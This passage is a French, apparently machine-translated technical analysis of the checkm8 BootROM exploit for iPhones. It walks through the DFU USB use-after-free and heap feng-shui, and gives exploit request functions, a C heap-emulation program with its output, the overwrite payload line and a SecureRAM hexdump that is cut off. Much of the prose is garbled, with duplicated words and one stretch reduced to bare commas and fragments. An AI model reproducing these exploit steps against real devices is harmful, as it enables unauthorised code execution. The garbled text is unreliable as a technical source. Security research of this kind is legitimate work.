Avec une forte probabilité, vous avez déjà entendu parler de l'exploit sensationnel de checkm8 , qui utilise une vulnérabilité irrécupérable dans la BootROM
plupart des iDevices, y compris l' iPhone X
Dans cet article, nous fournirons une analyse technique de l'exploit et examinerons les causes de la vulnérabilité. Toute personne intéressée - bienvenue sous la coupe!
Vous pouvez lire la version anglaise de l'article ici .
Présentation
Pour commencer, nous décrirons briÚvement le processus de démarrage d'iDevice et découvrirons quelle place BootROM
occupe (il peut Ă©galement ĂȘtre appelĂ© SecureROM
) et pourquoi il est nĂ©cessaire. Des informations assez dĂ©taillĂ©es Ă ce sujet sont ici . Le processus de dĂ©marrage simplifiĂ© peut ĂȘtre reprĂ©sentĂ© comme suit:

BootROM
est la premiÚre chose que le processeur exécute lorsque l'appareil est allumé. Les principales tùches de BootROM
:
- Initialisation de la plateforme (paramétrage des registres de plateforme nécessaires, initialisation du
CPU
, etc.) - Vérification et transfert de contrÎle à la prochaine étape du chargement
BootROM
prend en charge l'analyse des images IMG3/IMG4
BootROM
a accÚs à la clé GID
pour déchiffrer les images- Pour vérifier les images, la clé publique
Apple
est intégrée à BootROM
et il existe les fonctionnalités nécessaires pour travailler avec la cryptographie.
- Récupération d'un appareil s'il n'est pas possible de télécharger davantage (
Device Firmware Update
, DFU
)
BootROM
trĂšs petite taille, et il peut ĂȘtre appelĂ© une version allĂ©gĂ©e d' iBoot
, car ils partagent la plupart du code systĂšme et de bibliothĂšque. Cependant, contrairement Ă iBoot
, BootROM
ne peut pas ĂȘtre mis Ă jour. Il est placĂ© dans la mĂ©moire interne en lecture seule lors de la fabrication de l'appareil. BootROM
est la racine matérielle de l'approbation de la chaßne de démarrage. Des vulnérabilités peuvent permettre de contrÎler le processus de téléchargement et d'exécuter du code non signé sur l'appareil.

L'apparition de checkm8
L'exploit checkm8
été ajouté à l'utilitaire ipwndfu par son auteur axi0mX le 27 septembre 2019. Il a ensuite annoncé une mise à jour sur son compte Twitter, accompagnée d'une description de l'exploit et d'informations supplémentaires. Vous pouvez découvrir dans le fil que la vulnérabilité d' use-after-free
libération dans le code USB
été trouvée par l'auteur au cours du iBoot
Ă iBoot
pour iOS 12 beta
à l'été 2018. Comme indiqué précédemment, BootROM
et iBoot
ont beaucoup de code commun, y compris du code pour USB
, c'est pourquoi cette vulnérabilité est également pertinente pour BootROM
.
Il résulte également du code d'exploitation que la vulnérabilité est exploitée dans DFU
. Il s'agit d'un mode dans lequel une image signĂ©e peut ĂȘtre transfĂ©rĂ©e vers l'appareil via USB
, qui sera ensuite tĂ©lĂ©chargĂ©e. Cela peut ĂȘtre nĂ©cessaire, par exemple, pour restaurer le pĂ©riphĂ©rique si la mise Ă jour Ă©choue.
Le mĂȘme jour, littlelailo a signalĂ© avoir dĂ©couvert cette vulnĂ©rabilitĂ© en mars et publiĂ© sa description dans le fichier apollo.txt . La description correspond Ă ce qui se passe dans le code checkm8
, mais elle ne clarifie pas complÚtement les détails de l'exploit. Par conséquent, nous avons décidé d'écrire cet article et de décrire tous les détails de l'opération jusqu'à l'exécution de la charge utile dans BootROM
inclus.
Nous avons effectué une analyse d'exploit basée sur les matériaux mentionnés précédemment, ainsi que sur le code source iBoot/SecureROM
fuité en février 2018. Nous avons également utilisé des données obtenues expérimentalement sur notre appareil de test - iPhone 7
( CPID:8010
). Ă l'aide de checkm8
nous en avons supprimé les SecureROM
et SecureRAM
, ce qui nous a aidés dans l'analyse.
Connaissances USB essentielles
La vulnérabilité détectée se trouve dans le code USB
, donc certaines connaissances sur cette interface sont requises. Vous pouvez lire la spécification complÚte ici , mais elle est assez volumineuse. Un excellent matériel, qui est plus que suffisant pour une meilleure compréhension, est l' USB dans un NutShell . Ici, nous ne donnons que le plus nécessaire.
Il existe différents types de transfert de données USB
. DFU
utilise uniquement le mode Control Transfers
(vous pouvez le lire ici ). Chaque transaction dans ce mode comprend trois étapes:
Setup Stage
- Ă ce stade, un paquet SETUP
est envoyé, qui se compose des champs suivants:
bmRequestType
- décrit la direction, le type et le récepteur de la demandebRequest
- détermine quelle demande est faitewValue
, wIndex
- selon la demande, ils peuvent ĂȘtre interprĂ©tĂ©s diffĂ©remmentwLength
- longueur des données reçues / transmises dans l' Data Stage
Data Stage
- une étape facultative à laquelle le transfert de données a lieu. Selon le paquet SETUP
de l'étape précédente, il peut s'agir de l'envoi de données de l'hÎte vers le périphérique ( OUT
) ou vice versa ( IN
). Les données sont envoyées en petites portions (dans le cas d' Apple DFU
, il s'agit de 0x40 octets).
- Lorsque l'hÎte souhaite transférer le prochain lot de données, il envoie un jeton
OUT
, aprĂšs quoi les donnĂ©es elles-mĂȘmes sont envoyĂ©es. - Lorsque l'hĂŽte est prĂȘt Ă recevoir des donnĂ©es de l'appareil, il envoie un jeton
IN
, en réponse auquel l'appareil envoie des données.
Status Stage
- étape finale à laquelle l'état de l'ensemble de la transaction est signalé.
- Pour les demandes
OUT
, l'hĂŽte envoie un jeton IN
, en réponse auquel le périphérique doit envoyer un paquet de données de longueur nulle. - Pour les demandes
IN
, l'hĂŽte envoie un jeton OUT
et un paquet de données de longueur nulle.
OUT
requĂȘtes OUT
et IN
sont illustrées dans le diagramme ci-dessous. Nous avons intentionnellement supprimé ACK
, NACK
et d'autres packages de prise de contact du schĂ©ma de description et d'interaction, car ils ne jouent pas un rĂŽle spĂ©cial dans l'exploit lui-mĂȘme.

Analyse apollo.txt
Nous avons commencé l'analyse en analysant la vulnérabilité à partir du document apollo.txt . Il décrit l'algorithme du mode DFU
:
https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
- Lorsque usb est démarré pour obtenir une image sur dfu, dfu enregistre une interface pour gérer toutes les commandes et alloue un tampon pour l'entrée et la sortie
- si vous envoyez des données à dfu, le paquet d'installation est géré par le code principal qui appelle ensuite le code d'interface
- le code d'interface vérifie que wLength est plus court que la longueur du tampon de sortie d'entrée et si c'est le cas, il met à jour un pointeur passé en argument avec un pointeur sur le tampon de sortie d'entrée
- il renvoie ensuite wLength qui est la longueur qu'il souhaite recevoir dans le tampon
- le code principal usb met ensuite à jour une variable globale avec la longueur et se prépare à recevoir les paquets de données
- si un paquet de données est reçu, il est écrit dans le tampon de sortie d'entrée via le pointeur qui a été passé en argument et une autre variable globale est utilisée pour garder une trace du nombre d'octets déjà reçus
- si toutes les donnĂ©es ont Ă©tĂ© reçues, le code spĂ©cifique dfu est appelĂ© Ă nouveau et cela continue Ă copier le contenu du tampon de sortie d'entrĂ©e Ă l'emplacement de mĂ©moire d'oĂč l'image est dĂ©marrĂ©e plus tard
- aprÚs cela, le code usb réinitialise toutes les variables et continue à gérer de nouveaux packages
- si dfu quitte le tampon de sortie d'entrée est libéré et si l'analyse de l'image échoue, le bootrom revient dfu
Tout d'abord, nous avons comparé les étapes décrites avec le code source iBoot
. Comme nous ne pouvons pas utiliser de fragments de code source divulgués dans l'article, nous allons montrer le pseudocode obtenu par la rétro-ingénierie SecureROM
de notre iPhone 7
dans IDA
. Vous pouvez facilement trouver le code source d' iBoot
et le parcourir.
Lorsque le mode DFU
est initialisé, un tampon IO
est alloué et une interface USB
est enregistrée pour le traitement des demandes à la DFU
:

Lorsqu'un paquet de demande SETUP
arrive Ă la DFU
, le gestionnaire d'interface correspondant est appelĂ©. En cas d'exĂ©cution rĂ©ussie de la requĂȘte OUT
(par exemple, lors du transfert de l'image), le gestionnaire doit renvoyer l'adresse du tampon IO
pour la transaction et la taille des données qu'il s'attend à recevoir par pointeur. Dans ce cas, l'adresse du tampon et la taille des données attendues sont stockées dans des variables globales.

Le gestionnaire d'interface pour DFU
est illustré dans la capture d'écran ci-dessous. Si la demande est correcte, alors l'adresse du tampon IO
alloué à l'étape d'initialisation DFU
et la longueur des données attendues, qui est extraite du paquet SETUP
, sont renvoyées par le pointeur.

Pendant la Data Stage
chaque élément de données est écrit dans le tampon IO
, aprĂšs quoi l'adresse du tampon IO
est décalée et le compteur des données reçues est mis à jour. AprÚs avoir reçu toutes les données attendues, le gestionnaire de données d'interface est appelé et l'état de transmission global est effacé.

Dans le gestionnaire de données DFU, les données reçues sont déplacées vers la zone de mémoire à partir de laquelle le téléchargement continuera. à en juger par le code source iBoot
, cette zone de mémoire dans Apple
s'appelle INSECURE_MEMORY
.

Lorsque vous DFU
mode DFU
, le tampon d' IO
précédemment alloué sera libéré. Si l'image a été reçue avec succÚs en mode DFU
, elle sera vérifiée et chargée. Si, pendant le fonctionnement du mode DFU
, une erreur s'est produite ou s'il est impossible de charger l'image résultante, la DFU
sera réinitialisée et tout recommencera.
Dans l'algorithme décrit se trouve la vulnérabilité d' use-after-free
libération. Si au démarrage, envoyez un paquet SETUP
et terminez la transaction en sautant l' Data Stage
, l'état global restera initialisé lors de la rentrée dans le cycle DFU
, et nous serons en mesure d'écrire à l'adresse du tampon d' IO
allouée dans l'itération DFU
précédente.
AprÚs avoir traité de la vulnérabilité d' use-after-free
libération, nous nous sommes demandé: comment puis-je écraser quelque chose lors de la prochaine itération de DFU
? AprÚs tout, avant de réinitialiser la DFU
toutes les ressources prĂ©cĂ©demment allouĂ©es sont libĂ©rĂ©es et l'emplacement de mĂ©moire dans la nouvelle itĂ©ration doit ĂȘtre exactement le mĂȘme. Il s'avĂšre qu'il existe une autre erreur de fuite de mĂ©moire intĂ©ressante et assez belle qui permet d'exploiter la vulnĂ©rabilitĂ© d' use-after-free
libération, dont nous discuterons plus tard.
Analyse de Checkm8
Nous procédons directement à l'analyse de l'exploit checkm8
. Pour plus de simplicité, nous analyserons une version modifiée de l'exploit pour iPhone 7
, dans laquelle le code associĂ© Ă d'autres plateformes a Ă©tĂ© supprimĂ©, la sĂ©quence et les types de requĂȘtes USB
ont Ă©tĂ© modifiĂ©s sans perdre l'exploit. Dans cette version Ă©galement, le processus de construction de la charge utile est supprimĂ©, il peut ĂȘtre trouvĂ© dans le fichier checkm8.py
origine. Comprendre les diffĂ©rences entre les versions des autres appareils ne devrait pas ĂȘtre difficile.
checkm8
travail de checkm8
peut ĂȘtre divisĂ© en plusieurs Ă©tapes:
- Préparation du
heap feng-shui
( heap feng-shui
) - Allocation et libération du tampon
IO
sans effacer l'Ă©tat global - Ăcraser
usb_device_io_request
sur le tas avec use-after-free
- Placement de charge utile
- Exécution de la
callback-chain
rappel - Exécution de
shellcode
Considérez chacune des étapes en détail.
1. Préparation du tas (tas feng-shui)
Il nous semble que c'est l'Ă©tape la plus intĂ©ressante et nous y avons prĂȘtĂ© une attention particuliĂšre.
stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device)
Cette étape est nécessaire pour obtenir un état de segment de mémoire pratique pour un use-after-free
. Pour commencer, considérez les appels stall
, leak
, no_leak
:
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
libusb1_no_error_ctrl_transfer
est un wrapper sur device.ctrlTransfer
avec ignorer toutes les exceptions qui se sont produites lors de l'exécution de la demande. libusb1_async_ctrl_transfer
- un wrapper sur la fonction libusb_submit_transfer
de libusb
pour l'exĂ©cution de requĂȘtes asynchrones.
Les deux appels acceptent les paramĂštres suivants:
- Instance de périphérique
- Données pour le package
SETUP
(leur description est ici ):
bmRequestType
bRequest
wValue
wIndex
- Taille des données (
wLength
) ou Données pour l' Data Stage
- Délai d'expiration de la demande
Les arguments bmRequestType
, bRequest
, wValue
et wIndex
sont communs aux trois types de requĂȘtes. Ils signifient:
bmRequestType = 0x80
0b1XXXXXXX
- direction de l' Data Stage
de Data Stage
de l'appareil Ă l'hĂŽte (appareil Ă hĂŽte)0bX00XXXXX
- type de demande standard0bXXX00000
- destinataire de la demande - appareil
bRequest = 6
- demande de descripteur ( GET_DESCRIPTOR
)wValue = 0x304
wValueHigh = 0x3
- détermine le type de descripteur à recevoir - chaßne ( USB_DT_STRING
)wValueLow = 0x4
est l'index du descripteur de chaßne, 4 correspond au numéro de série de l'appareil (dans ce cas, la chaßne ressemble à CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33]
)
wIndex = 0x40A
- identifiant du langage de chaĂźne, sa valeur n'est pas importante pour le fonctionnement et peut ĂȘtre modifiĂ©e.
Pour l'une de ces trois demandes, 0x30 octets sont alloués sur le tas pour un objet de la structure suivante:

Les champs les plus intéressants de cet objet sont le callback
et le next
.
callback
- un pointeur vers une fonction qui sera appelée à la fin de la demande.next
- un pointeur vers l'objet suivant du mĂȘme type, nĂ©cessaire pour les demandes de mise en file d'attente.
Une caractéristique clé de l'appel de stall
est d'utiliser l'exĂ©cution asynchrone de la demande avec un dĂ©lai minimum. Pour cette raison, si vous avez de la chance, la demande sera annulĂ©e au niveau du systĂšme d'exploitation et restera dans la file d'attente d'exĂ©cution, et la transaction ne sera pas terminĂ©e. Dans le mĂȘme temps, l'appareil continuera Ă accepter tous les paquets SETUP
entrants et, si nécessaire, les placera dans la file d'attente d'exécution. Plus tard, en utilisant des expériences avec un USB
sur Arduino
nous avons pu découvrir que pour un fonctionnement réussi, l'hÎte devrait envoyer un paquet SETUP
et un jeton IN
, aprĂšs quoi la transaction devrait ĂȘtre annulĂ©e par timeout. SchĂ©matiquement, une telle transaction incomplĂšte peut ĂȘtre reprĂ©sentĂ©e comme suit:
Les autres demandes ne diffĂšrent que par leur longueur et par une seule. Le fait est que pour les requĂȘtes standard, il existe un callback
standard qui ressemble Ă ceci:

La valeur io_length
est égale au minimum de wLength
dans le paquet SETUP
de la demande et Ă la longueur d'origine du descripteur demandĂ©. Ătant donnĂ© que le descripteur est suffisamment long, nous pouvons contrĂŽler avec prĂ©cision la valeur io_length
dans sa longueur. La valeur de g_setup_request.wLength
est égale à la valeur de wLength
dernier paquet SETUP
, dans ce cas, 0xC1
.
Ainsi, Ă la fin des requĂȘtes gĂ©nĂ©rĂ©es Ă l'aide des appels de stall
et de leak
, la condition dans la fonction de callback
finale est satisfaite et usb_core_send_zlp()
appelé. Cet appel crée simplement un zero-length-packet
et l'ajoute à la file d'attente d'exécution. Cela est nécessaire pour que la transaction se termine correctement à l' Status Stage
du Status Stage
.
La demande se termine par un appel Ă la fonction usb_core_complete_endpoint_io
, qui appelle d'abord le callback
puis libĂšre la mĂ©moire de la demande. Dans le mĂȘme temps, l'achĂšvement de la demande peut se produire non seulement lorsque la transaction entiĂšre est effectivement terminĂ©e, mais Ă©galement lorsque la USB
réinitialisée. DÚs qu'un signal de réinitialisation USB
est reçu, la file d'attente de demande sera contournée et chacune d'elles sera terminée.
En raison de l'appel sélectif à usb_core_send_zlp()
, en contournant la file d'attente de demandes, puis en les libérant, vous pouvez obtenir un contrÎle de usb_core_send_zlp()
de usb_core_send_zlp()
suffisant pour une use-after-free
libĂ©ration. Tout d'abord, regardons le cycle de sortie lui-mĂȘme:

La file d'attente des demandes est d'abord effacée, puis les demandes annulées sont usb_core_complete_endpoint_io
et elles sont terminées en appelant usb_core_complete_endpoint_io
. Dans le mĂȘme temps, les requĂȘtes sĂ©lectionnĂ©es Ă l'aide de usb_core_send_zlp
sont placées dans ep->io_head
. Une fois la procédure de réinitialisation USB
terminée, toutes les informations sur le point de terminaison seront réinitialisées, y compris les io_tail
io_head
et io_tail
, et les demandes de longueur nulle resteront sur le tas. Vous pouvez donc créer un petit morceau au milieu du reste du tas. Le diagramme ci-dessous montre comment cela se produit:

Le tas dans SecureROM
conçu de telle maniÚre qu'une nouvelle zone de mémoire est allouée à partir d'un morceau libre approprié de la plus petite taille. En créant un petit morceau libre par la méthode décrite ci-dessus, vous pouvez affecter l'allocation de mémoire lors de l'initialisation USB
et l'allocation de io_buffer
et des requĂȘtes.
Pour une meilleure compréhension, voyons quelles demandes de DFU
se produisent lors de l'initialisation de DFU
. Au cours de l'analyse du code source iBoot
et de la rétro-ingénierie iBoot
SecureROM
nous avons réussi à obtenir la séquence suivante:
- Attribution de divers descripteurs de chaĂźne
- 1.1.
Nonce
(taille 234
) - 1.2.
Manufacturer
( 22
) - 1.3.
Product
( 62
) - 1.4.
Serial Number
( 198
) - 1.5.
Configuration string
( 62
)
- Allocation associée à la création de la tùche du
USB
- 2.1. Structure des tĂąches (
0x3c0
) - 2.2. TĂąche de pile (
0x1000
)
io_buffer
( 0x800
)
- Descripteurs de configuration
- 4.1.
High-Speed
( 25
) - 4.2.
Full-Speed
( 25
)
Ensuite, il y a une allocation de structures de demande. S'il y a un petit morceau au milieu de l'espace de tas, certaines allocations de la premiÚre catégorie iront à ce morceau, et toutes les autres allocations se déplaceront, ce qui nous permettra de déborder usb_device_io_request
, en se rĂ©fĂ©rant Ă l'ancien tampon. SchĂ©matiquement, cela peut ĂȘtre reprĂ©sentĂ© comme suit:

Pour calculer le biais nécessaire, nous avons décidé d'émuler simplement les allocations répertoriées ci-dessus, en adaptant légÚrement le code source du tas iBoot
.
Ămulation de tas DFU #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; }
Sortie du programme avec 8 requĂȘtes au stade heap feng-shui
:
chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540
La prochaine usb_device_io_request
sera Ă l'offset 0x5c0
rapport au début de la mémoire tampon précédente, ce qui correspond au code d'exploitation:
t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
, SecureRAM
, checkm8
. , . , usb_device_io_request
, .
. , .
SecureRAM chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 